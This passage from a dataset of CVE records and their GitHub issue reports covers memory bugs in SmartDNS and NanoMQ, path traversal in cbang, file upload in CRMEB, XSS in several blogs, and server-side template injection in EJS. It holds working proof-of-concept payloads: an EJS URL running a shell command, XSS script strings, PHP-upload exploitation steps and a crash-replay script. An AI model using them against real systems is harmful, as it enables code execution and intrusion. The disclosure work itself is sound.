=>0x10007fff7bb0: f2[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x10007fff7bc0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x10007fff7bd0: f8 f2 f8 f2 f8 f2 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
0x10007fff7be0: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
0x10007fff7bf0: f8 f8 f8 f8 f8 f8 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3
0x10007fff7c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2457317==ABORTING
```
**GDB Backtrace:**
```
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7ffff7ee1000) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7ffff7ee1000) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7ffff7ee1000, signo=signo@entry=0x6) at ./nptl/pthread_kill.c:89
#3 0x00007ffff7642476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007ffff76287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007ffff76896f6 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff77db943 "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
#6 0x00007ffff773676a in __GI___fortify_fail (msg=msg@entry=0x7ffff77db92b "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007ffff7736736 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x0000555555576b19 in _dns_server_recv (conn=conn@entry=0x55555575a3e0, inpacket=inpacket@entry=0x7fffffff3500 "0000", inpacket_len=<optimized out>, local=local@entry=0x7fffffff2870, local_len=0x10, from=from@entry=0x7fffffff27f0, from_len=0x1c) at dns_server.c:5308
#9 0x0000555555577dfe in _dns_server_process_udp_one (event=<optimized out>, now=<optimized out>, udpconn=<optimized out>) at dns_server.c:5441
#10 _dns_server_process_udp (event=<optimized out>, now=<optimized out>, udpconn=<optimized out>) at dns_server.c:5448
#11 _dns_server_process (now=0x1504f191, event=0x7fffffff28f0, conn=<optimized out>) at dns_server.c:6056
#12 dns_server_run () at dns_server.c:6429
#13 0x000055555555d837 in _smartdns_run () at smartdns.c:536
#14 main (argc=<optimized out>, argv=<optimized out>) at smartdns.c:776
```
The issue appears to be caused by insufficient bounds checking in the ***_dns_encode_domain*** function. I added the following code to the beginning of the function, which appears to prevent the overflow to happen for this specific payload:
```
if (_dns_left_len(context) <= 0) {
return -1;
}
```
*However, I'm not certain if this is the best solution to address the vulnerability.*
**Suggested Fix:**
I recommend reviewing the ***_dns_encode_domain*** function in the ***dns.c*** file to ensure proper bounds checking is in place. You may also want to review the ***_dns_left_len*** function, as it is used in the problematic function to calculate the remaining buffer length.
I will be requesting a CVE ID for this vulnerability to ensure proper tracking and handling of the issue.
Please let me know if you require any additional information or assistance in addressing this vulnerability. I'm looking forward to your prompt response and action to ensure the security of SmartDNS users.
Regards,
Huáscar
| SmartDNS Vulnerability Report | https://api.github.com/repos/pymumu/smartdns/issues/1378/comments | 2 | 2023-04-22T00:19:29Z | 2023-04-22T16:32:12Z | https://github.com/pymumu/smartdns/issues/1378 | 1,679,238,240 | 1,378 | 5,048 |
CVE-2023-31483 | 2023-04-28T23:15:08.520 | tar/TarFileReader.cpp in Cauldron cbang before bastet-v8.1.17 has a directory traversal during extraction that allows the attacker to create or write to files outside the current directory via a crafted tar archive. | {
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] | github.com | [
"CauldronDevelopmentLLC",
"cbang"
] | **Impact:**
The latest version bastet-v8.1.16 has a path traversal vulnerability that allows the attacker to create or write to files outside the current directory due to improper string comparisons between canonical paths.
**How to reproduce:**
```
wget https://github.com/CauldronDevelopmentLLC/cbang/archive/refs/tags/bastet-v8.1.16.tar.gz
tar -xzf bastet-v8.1.16.tar.gz
cd cbang-bastet-v8.1.16/tests
scons
cd tarTests
# place poc.tar in this directory
./tar --extract poc.tar
# verify attack worked
cat ../tarTests.d/config
```
**Root cause:**
https://github.com/CauldronDevelopmentLLC/cbang/blob/eae4b58965bdd4d54ea9eb77972674352b37a547/src/cbang/tar/TarFileReader.cpp#L102-L106
The root cause is the return true value in function [startsWith](https://github.com/CauldronDevelopmentLLC/cbang/blob/eae4b58965bdd4d54ea9eb77972674352b37a547/src/cbang/String.cpp#L537) in String.cpp that passes if condition in function [TarFileReader::extract ](https://github.com/CauldronDevelopmentLLC/cbang/blob/eae4b58965bdd4d54ea9eb77972674352b37a547/src/cbang/tar/TarFileReader.cpp#L104) in TarFileReader.cpp.
**PoC image:**
Extract `poc.zip` to obtain `poc.tar`: [poc.zip](https://github.com/CauldronDevelopmentLLC/cbang/files/11152165/poc.zip) | Path traversal bug in TarFileReader::extract | https://api.github.com/repos/CauldronDevelopmentLLC/cbang/issues/115/comments | 1 | 2023-04-04T19:34:00Z | 2023-04-11T09:50:40Z | https://github.com/CauldronDevelopmentLLC/cbang/issues/115 | 1,654,461,307 | 115 | 5,049 |
CVE-2023-2419 | 2023-04-29T01:15:09.063 | A vulnerability was found in Zhong Bang CRMEB 4.6.0. It has been declared as critical. This vulnerability affects the function videoUpload of the file \crmeb\app\services\system\attachment\SystemAttachmentServices.php. The manipulation of the argument filename leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-227716. | {
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[CRMEB vulnerability report.docx](https://github.com/crmeb/CRMEB/files/11227118/CRMEB.vulnerability.report.docx)
The defect code is in the $filename variable in the videoUpload function in the \crmeb\app\services\system\attachment\SystemAttachmentServices.php file, that is, $filename = $all_dir . '/' . $data['filename'] . '__ ' . $data['chunkNumber'];, it splices $data['chunkNumber'] at the end, which is a controllable parameter transfer on the client side, so that the value of $data['chunkNumber'] can be modified to The suffix is php, which causes the written malicious code to be parsed and executed.
public function videoUpload($data, $file)
{
$public_dir = app()->getRootPath() . 'public';
$dir = '/uploads/attach/' . date('Y') . DIRECTORY_SEPARATOR . date('m') . DIRECTORY_SEPARATOR . date('d');
$all_dir = $public_dir . $dir;
if (!is_dir($all_dir)) mkdir($all_dir, 0777, true);
$filename = $all_dir . '/' . $data['filename'] . '__' . $data['chunkNumber'];
move_uploaded_file($file['tmp_name'], $filename);
$res['code'] = 0;
$res['msg'] = 'error';
$res['file_path'] = '';
if ($data['chunkNumber'] == $data['totalChunks']) {
$blob = '';
for ($i = 1; $i <= $data['totalChunks']; $i++) {
$blob .= file_get_contents($all_dir . '/' . $data['filename'] . '__' . $i);
}
file_put_contents($all_dir . '/' . $data['filename'], $blob);
for ($i = 1; $i <= $data['totalChunks']; $i++) {
@unlink($all_dir . '/' . $data['filename'] . '__' . $i);
}
if (file_exists($all_dir . '/' . $data['filename'])) {
$res['code'] = 2;
$res['msg'] = 'success';
$res['file_path'] = sys_config('site_url') . $dir . '/' . $data['filename'];
}
} else {
if (file_exists($all_dir . '/' . $data['filename'] . '__' . $data['chunkNumber'])) {
$res['code'] = 1;
$res['msg'] = 'waiting';
$res['file_path'] = '';
}
}
return $res;
}
}
Vulnerability Exploitation Steps：
1. Log in to the background
2. Select commodity, then select commodity Management, and click Add commodity.
3、 Select any commodity category, enter any commodity name, and enter any commodity unit
4、Open the add video button
5. Use any packet capture tool to open the interception package. I am using BurpSuite here. (As shown below)
6、 Click the plus sign and select the test video you prepared (recommended video length is less than 10 seconds)
7、The package is successfully truncated (as shown in the figure below)
8.、Select the all uploaded video data and delete it. (As shown below)
9、After the deletion is complete, write the malicious code on it
10、Replace the content below the chunkNumber pass parameter with 1.php
11、Click forward Package
Malicious file has been successfully uploaded, how to access it?
An example is as follows：
http://your domain name/uploads/attach/year when you uploaded/month when you uploaded/day when you uploaded/file name__ (note the double underscore here) 1.php
(This is because the program will create some file directories named after your upload time)
So My current time is April 13, 2023, so my access example is as follows：
http://192.168.101.100/uploads/attach/2023/04/13/68CECACC23AB0161625A5BFFE46C3E7A.mp4__1.php
Access the malicious code file just uploaded and execute it successfully
| About a file upload vulnerability | https://api.github.com/repos/crmeb/CRMEB/issues/77/comments | 3 | 2023-04-13T23:21:38Z | 2023-09-12T02:22:07Z | https://github.com/crmeb/CRMEB/issues/77 | 1,667,271,505 | 77 | 5,050 |
CVE-2023-29635 | 2023-05-01T16:15:11.240 | File upload vulnerability in Antabot White-Jotter v0.2.2, allows remote attackers to execute malicious code via the file parameter to function coversUpload. | {
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] | 434 | https://github.com/Antabot/White-Jotter/issues/157 | [
"Vendor Advisory"
] | github.com | [
"Antabot",
"White-Jotter"
] | /api/admin/content/books/covers
No validation is performed on the file extension of uploaded files, which may allow attackers to upload malicious files.
Source code：[src/main/java/com/gm/wj/service/JotterArticleService.java](https://github.com/Antabot/White-Jotter/blob/v0.2.2/wj/src/main/java/com/gm/wj/controller/LibraryController.java) | No validation is performed on the file extension of uploaded files, which may allow attackers to upload malicious files. | https://api.github.com/repos/Antabot/White-Jotter/issues/157/comments | 1 | 2023-03-07T03:04:36Z | 2023-10-01T20:46:09Z | https://github.com/Antabot/White-Jotter/issues/157 | 1,612,626,943 | 157 | 5,051 |
CVE-2023-29636 | 2023-05-01T16:15:11.377 | Cross site scripting (XSS) vulnerability in ZHENFENG13 My-Blog, allows attackers to inject arbitrary web script or HTML via the "title" field in the "blog management" page due to the the default configuration not using MyBlogUtils.cleanString. | {
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1. path: http://localhost:28083/blog/5
On the blog article details page, attackers may launch XSS attacks on the article content editing page.
2. path: http://localhost:28083/admin/blogs
An XSS vulnerability exists in the blog title column on the blog management page.
| There are multiple stored XSS on the My-Blog page. | https://api.github.com/repos/ZHENFENG13/My-Blog/issues/131/comments | 1 | 2023-03-13T07:49:21Z | 2023-03-16T15:28:19Z | https://github.com/ZHENFENG13/My-Blog/issues/131 | 1,620,926,024 | 131 | 5,052 |
CVE-2023-29637 | 2023-05-01T16:15:11.433 | Cross Site Scripting (XSS) vulnerability in Qbian61 forum-java, allows attackers to inject arbitrary web script or HTML via editing the article content in the "article editor" page. | {
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1. path: http://localhost:8080/article/editor/1
A reflected XSS vulnerability exists on the "article editor" page.
2. path: http://localhost:8080/article/1
A stored XSS vulnerability exists on the "blog detail "page.
| There are multiple XSS on the My-Blog page | https://api.github.com/repos/Qbian61/forum-java/issues/13/comments | 0 | 2023-03-14T03:34:13Z | 2023-03-14T03:34:13Z | https://github.com/Qbian61/forum-java/issues/13 | 1,622,663,471 | 13 | 5,053 |
CVE-2023-29638 | 2023-05-01T16:15:11.483 | Cross Site Scripting (XSS) vulnerability in WinterChenS my-site before commit 3f0423da6d5200c7a46e200da145c1f54ee18548, allows attackers to inject arbitrary web script or HTML via editing blog articles. | {
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1. On the "article publish" page，attackers can post an article containing a malicious script.
path: http://localhost:8089/admin/article/publish
2. This XSS vulnerability can be triggered by attackers reading articles in the blog article interface.
path: http://localhost:8089/blog/article/29
| There is a stored XSS on the article page. | https://api.github.com/repos/WinterChenS/my-site/issues/74/comments | 2 | 2023-03-15T02:41:48Z | 2025-03-24T02:58:02Z | https://github.com/WinterChenS/my-site/issues/74 | 1,624,622,333 | 74 | 5,054 |
CVE-2023-29641 | 2023-05-01T16:15:11.560 | Cross Site Scripting (XSS) vulnerability in pandao editor.md thru 1.5.0 allows attackers to inject arbitrary web script or HTML via crafted markdown text. | {
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For example, if "《img src=1 onerror=alert(1)》" is entered during text editing, the malicious script in the text will be executed by editor.md.
If a user directly uses editor.md and does not filter text, the user may be attacked.
| There is an XSS on the editor.md. | https://api.github.com/repos/pandao/editor.md/issues/985/comments | 0 | 2023-03-21T11:29:46Z | 2023-03-21T11:29:46Z | https://github.com/pandao/editor.md/issues/985 | 1,633,711,624 | 985 | 5,055 |
CVE-2023-29643 | 2023-05-01T16:15:11.600 | Cross Site Scripting (XSS) vulnerability in PerfreeBlog 3.1.2 allows attackers to execute arbitrary code via the Post function. | {
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The content of the article
The title of the article
| PerfreeBlog storage type XSS defect | https://api.github.com/repos/PerfreeBlog/PerfreeBlog/issues/14/comments | 0 | 2023-03-22T08:03:28Z | 2024-06-05T02:41:14Z | https://github.com/PerfreeBlog/PerfreeBlog/issues/14 | 1,635,248,135 | 14 | 5,056 |
CVE-2023-30300 | 2023-05-03T20:15:10.327 | An issue in the component hang.wasm of WebAssembly 1.0 causes an infinite loop. | {
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] | ### Describe the bug
Certain `hang.wasm` causes `wasm2c` an infinite loop. `wasm2c` tries to access a memory that is not permitted instead of providing `type mismatch` error for a while.
`wasm2c --version`: 1.0.32 (git~1.0.32-46-g47a589a1)
--------------------------
### Content of the file that causes the issue:
`vim hang.wasm`:
```
^@asm^A^@^@^@^A^G^A`^B{^?^A~^C^B^A^@^@^L^A^H^@^@^@#^@^@^@^@^@^?
^A^G^Aàÿÿ^O^?^K
```
`cat hang.wasm`:
```
asm`{~
#
???
```
--------------------------
### Steps to reproduce:
Here is the file for the bug:
[hang.wasm.txt](https://github.com/WebAssembly/wabt/files/11082815/hang.wasm.txt) (Remove .txt extension and save as .wasm)
* Install and build WABT
* Run wasm2c on the test file: `wasm2c hang.wasm`
* Observe the crash: It will be observed that `wasm2c` cannot finish the execution.
`wasm-validate hang.wasm` output: `Segmentation fault`
`gdb wasm-validate` and subsequent `run hang.wasm` output:
```
Program received signal SIGSEGV, Segmentation fault.
0x000000000047d8c6 in std::vector<wabt::TypeChecker::Label, std::allocator<wabt::TypeChecker::Label> >::_M_realloc_insert<wabt::LabelType&, std::vector<wabt::Type, std::allocator<wabt::Type> > const&, std::vector<wabt::Type, std::allocator<wabt::Type> > const&, unsigned long> (this=this@entry=0x7fffffffdd10, __position=__position@entry=non-dereferenceable iterator for std::vector, __args=@0x7fffffffd8d8: 0, __args=@0x7fffffffd8d8: 0, __args=@0x7fffffffd8d8: 0, __args=@0x7fffffffd8d8: 0) at /usr/lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/stl_vector.h:1762
1762 return (__len < size() || __len > max_size()) ? max_size() : __len;
```
--------------------------
### Expected Behavior:
The expected output should be an error like other related tools would provide as below. To cite an example, run `wasm2wat` on the test file:
`wasm2wat hang.wasm`:
The output will be:
```
Expected_Behavior/hang.wasm:0000027: error: type mismatch in implicit return, expected [i64] but got []
```
--------------------------
### Additional information
A combination of afl-fuzz++4.03a and Wasmlike, an Xsmith-based random program generator produced the snippet of code that caused the crash. https://www.flux.utah.edu/project/xsmith | wasm2c hangs on certain inputs and cannot finish execution for a while. | https://api.github.com/repos/WebAssembly/wabt/issues/2180/comments | 5 | 2023-03-27T20:41:27Z | 2023-03-31T17:02:49Z | https://github.com/WebAssembly/wabt/issues/2180 | 1,642,781,849 | 2,180 | 5,057 |
CVE-2023-30205 | 2023-05-03T21:15:24.230 | A stored cross-site scripting (XSS) vulnerability in DouPHP v1.7 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the unique_id parameter in /admin/article.php. | {
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| DouPHP-xss | https://api.github.com/repos/succc3/cve/issues/2/comments | 0 | 2023-03-26T06:33:48Z | 2023-03-26T06:33:48Z | https://github.com/succc3/cve/issues/2 | 1,640,791,606 | 2 | 5,058 |
CVE-2023-27075 | 2023-05-04T02:15:18.570 | A cross-site scripting vulnerability (XSS) in the component microbin/src/pasta.rs of Microbin v1.2.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. | {
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] | github.com | [
"szabodanika",
"microbin"
] | Hello, I found an XSS issue in the project.
Although there is nothing about authentication cookies, an attacker can redirect to a malicious site or insert malicious code.
Payload:
```
</script><script>alert('xss')</script>
```
Root cause:
https://github.com/szabodanika/microbin/blob/84136f1106074dce6ac84fba106a985ce9751f48/src/pasta.rs#L147
| [CVE-2023-27075] Security issues for Stored XSS | https://api.github.com/repos/szabodanika/microbin/issues/142/comments | 9 | 2023-02-20T02:38:56Z | 2023-03-26T18:51:59Z | https://github.com/szabodanika/microbin/issues/142 | 1,591,017,679 | 142 | 5,059 |
CVE-2023-29827 | 2023-05-04T14:15:11.363 | ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter. NOTE: this is disputed by the vendor because the render function is not intended to be used with untrusted input. | {
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] | If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.It can easily bypass the fix for CVE-2022-29078 in version 3.1.7.
**https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf**
**index.js**
```js
const express = require('express')
const app = express()
const port = 3000
app.set('view engine', 'ejs');
app.get('/page', (req,res) => {
res.render('page', req.query);
})
app.listen(port, () => {
console.log("Example app listening on port ${port}")
})
```
**page.ejs**
```js
%%1");process.mainModule.require('child_process').execSync('calc');//
```
**package.json**
```json
{
"dependencies": {
"ejs": "^3.1.9",
"express": "^4.18.2"
}
}
```
The poc looks like this：
```
http://127.0.0.1:3000/page?settings[view%20options][closeDelimiter]=1")%3bprocess.mainModule.require('child_process').execSync('calc')%3b//
```
Come to this branch option to realize code splicing execution.
https://github.com/mde/ejs/blob/aed012481d11ee9e8ca024314262b90de7c6d91e/lib/ejs.js#L844
| EJS, Server side template injection ejs@3.1.9 Latest | https://api.github.com/repos/mde/ejs/issues/720/comments | 29 | 2023-03-13T09:26:17Z | 2024-10-25T19:53:12Z | https://github.com/mde/ejs/issues/720 | 1,621,069,942 | 720 | 5,060 |
CVE-2023-29994 | 2023-05-04T17:15:13.577 | In NanoMQ v0.15.0-0, Heap overflow occurs in read_byte function of mqtt_code.c. | {
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] | github.com | [
"emqx",
"nanomq"
] | **Describe the bug**
Heap overflow occurred in read_byte function of mqtt_code.c Confirmed with address sanitizer
**Expected behavior**
**Actual Behavior**
Heap Overflow(CWE-122)
**To Reproduce**
asan log
```
=================================================================
==104134==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60f000010b2f at pc 0x55e80f3d0747 bp 0x7f98a11f28b0 sp 0x7f98a11f28a0
READ of size 1 at 0x60f000010b2f thread T13
#0 0x55e80f3d0746 in read_byte /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:2712
#1 0x55e80f3d68f1 in decode_buf_properties /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:3754
#2 0x55e80f398540 in conn_handler /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/protocol/mqtt/mqtt_parser.c:616
#3 0x55e80f47ca51 in tcptran_pipe_nego_cb /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:349
#4 0x55e80f37ba2f in nni_taskq_thread /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/taskq.c:50
#5 0x55e80f37cde7 in nni_thr_wrap /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/thread.c:94
#6 0x55e80f385f9c in nni_plat_thr_main /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_thread.c:266
#7 0x7f98aaac8b42 in start_thread nptl/pthread_create.c:442
#8 0x7f98aab5a9ff (/lib/x86_64-linux-gnu/libc.so.6+0x1269ff)
0x60f000010b2f is located 0 bytes to the right of 175-byte region [0x60f000010a80,0x60f000010b2f)
allocated by thread T13 here:
#0 0x7f98aad34867 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x55e80f381604 in nni_alloc /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_alloc.c:20
#2 0x55e80f35076b in nng_alloc /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/nng.c:60
#3 0x55e80f47c765 in tcptran_pipe_nego_cb /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:331
#4 0x55e80f37ba2f in nni_taskq_thread /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/taskq.c:50
#5 0x55e80f37cde7 in nni_thr_wrap /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/thread.c:94
#6 0x55e80f385f9c in nni_plat_thr_main /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_thread.c:266
#7 0x7f98aaac8b42 in start_thread nptl/pthread_create.c:442
Thread T13 created by T0 here:
#0 0x7f98aacd8685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
#1 0x55e80f3860cc in nni_plat_thr_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_thread.c:279
#2 0x55e80f37d093 in nni_thr_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/thread.c:121
#3 0x55e80f37bd51 in nni_taskq_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/taskq.c:95
#4 0x55e80f37cab1 in nni_taskq_sys_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/taskq.c:294
#5 0x55e80f366a57 in nni_init_helper /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/init.c:35
#6 0x55e80f386471 in nni_plat_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_thread.c:422
#7 0x55e80f366ad8 in nni_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/init.c:58
#8 0x55e80f3aa85c in nni_proto_mqtt_open /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/protocol.c:37
#9 0x55e80f3a6c00 in nng_nmq_tcp0_open /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/protocol/mqtt/nmq_mqtt.c:1258
#10 0x55e80f34b744 in broker /home/lab/Desktop/broker/nanomq3/nanomq/nanomq/apps/broker.c:865
#11 0x55e80f34fc72 in broker_start /home/lab/Desktop/broker/nanomq3/nanomq/nanomq/apps/broker.c:1592
#12 0x55e80f31a3bf in main /home/lab/Desktop/broker/nanomq3/nanomq/nanomq/nanomq.c:142
#13 0x7f98aaa5dd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:2712 in read_byte
Shadow bytes around the buggy address:
0x0c1e7fffa110: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c1e7fffa120: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
0x0c1e7fffa130: fa fa fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c1e7fffa140: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x0c1e7fffa150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1e7fffa160: 00 00 00 00 00[07]fa fa fa fa fa fa fa fa fa fa
0x0c1e7fffa170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fffa180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fffa190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fffa1a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fffa1b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==104134==ABORTING
```
```py
import time
import socket
def check_input(input, sleep_time = 0.01):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect(('127.0.0.1', 1883))
s.send(input)
s.close()
break
except ConnectionResetError:
continue
except ConnectionRefusedError:
break
time.sleep(sleep_time)
def check_crash_log(crash_log):
for c in reversed(crash_log):
c_bytes = bytearray.fromhex(c)
status = check_input(c_bytes, 0.25)
if status == False:
print('[+] A crash was detected')
return c_bytes
print('[-] No crash..')
exit(-1)
with open('target-1675832337.790905.txt', 'r') as f:
crash_log = f.readlines()
check_crash_log(crash_log)
```
target file :
[target-1675832337.790905.txt](https://github.com/emqx/nanomq/files/10681881/target-1675832337.790905.txt)
** Environment Details **
- NanoMQ version : v0.15.0-0
- Operating system and version : Linux lab-virtual-machine 5.15.0-58-generic x86_64 x86_64 x86_64 GNU/Linux
- Compiler and language used : I using ASAN build Option with Ninja Compile
- testing scenario
Run the broker(asan build) with the `./nanomq start` command, put the target file and the python file in the same path, and run python.
**Client SDK**
Using MQTT Raw Packet
**Additional context**
| [Bug] Heap-based Buffer Overflow in `mqtt_code.c`(`read_byte`) | https://api.github.com/repos/nanomq/nanomq/issues/1042/comments | 2 | 2023-02-08T05:12:05Z | 2023-02-13T08:28:37Z | https://github.com/nanomq/nanomq/issues/1042 | 1,575,489,854 | 1,042 | 5,061 |
CVE-2023-29995 | 2023-05-04T17:15:13.643 | In NanoMQ v0.15.0-0, a Heap overflow occurs in copyn_utf8_str function of mqtt_parser.c | {
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] | github.com | [
"emqx",
"nanomq"
] | **Describe the bug**
Heap overflow occurred in copyn_utf8_str function of mqtt_parser.c Confirmed with address sanitizer
**Expected behavior**
A clear and concise description of what you expected to happen.
**Actual Behavior**
Heap Overflow(CWE-122)
**To Reproduce**
asan log
```
=================================================================
==104416==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000014a22 at pc 0x561da5470f06 bp 0x7f29911f39b0 sp 0x7f29911f39a0
READ of size 1 at 0x603000014a22 thread T12
#0 0x561da5470f05 in copyn_utf8_str /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/protocol/mqtt/mqtt_parser.c:225
#1 0x561da547454d in conn_handler /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/protocol/mqtt/mqtt_parser.c:711
#2 0x561da5557a51 in tcptran_pipe_nego_cb /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:349
#3 0x561da5456a2f in nni_taskq_thread /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/taskq.c:50
#4 0x561da5457de7 in nni_thr_wrap /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/thread.c:94
#5 0x561da5460f9c in nni_plat_thr_main /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_thread.c:266
#6 0x7f299a31eb42 in start_thread nptl/pthread_create.c:442
#7 0x7f299a3b09ff (/lib/x86_64-linux-gnu/libc.so.6+0x1269ff)
0x603000014a22 is located 0 bytes to the right of 18-byte region [0x603000014a10,0x603000014a22)
allocated by thread T13 here:
#0 0x7f299a58a867 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x561da545c604 in nni_alloc /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_alloc.c:20
#2 0x561da542b76b in nng_alloc /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/nng.c:60
#3 0x561da5557765 in tcptran_pipe_nego_cb /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:331
#4 0x561da5456a2f in nni_taskq_thread /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/taskq.c:50
#5 0x561da5457de7 in nni_thr_wrap /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/thread.c:94
#6 0x561da5460f9c in nni_plat_thr_main /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_thread.c:266
#7 0x7f299a31eb42 in start_thread nptl/pthread_create.c:442
Thread T12 created by T0 here:
#0 0x7f299a52e685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
#1 0x561da54610cc in nni_plat_thr_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_thread.c:279
#2 0x561da5458093 in nni_thr_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/thread.c:121
#3 0x561da5456d51 in nni_taskq_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/taskq.c:95
#4 0x561da5457ab1 in nni_taskq_sys_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/taskq.c:294
#5 0x561da5441a57 in nni_init_helper /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/init.c:35
#6 0x561da5461471 in nni_plat_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_thread.c:422
#7 0x561da5441ad8 in nni_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/init.c:58
#8 0x561da548585c in nni_proto_mqtt_open /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/protocol.c:37
#9 0x561da5481c00 in nng_nmq_tcp0_open /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/protocol/mqtt/nmq_mqtt.c:1258
#10 0x561da5426744 in broker /home/lab/Desktop/broker/nanomq3/nanomq/nanomq/apps/broker.c:865
#11 0x561da542ac72 in broker_start /home/lab/Desktop/broker/nanomq3/nanomq/nanomq/apps/broker.c:1592
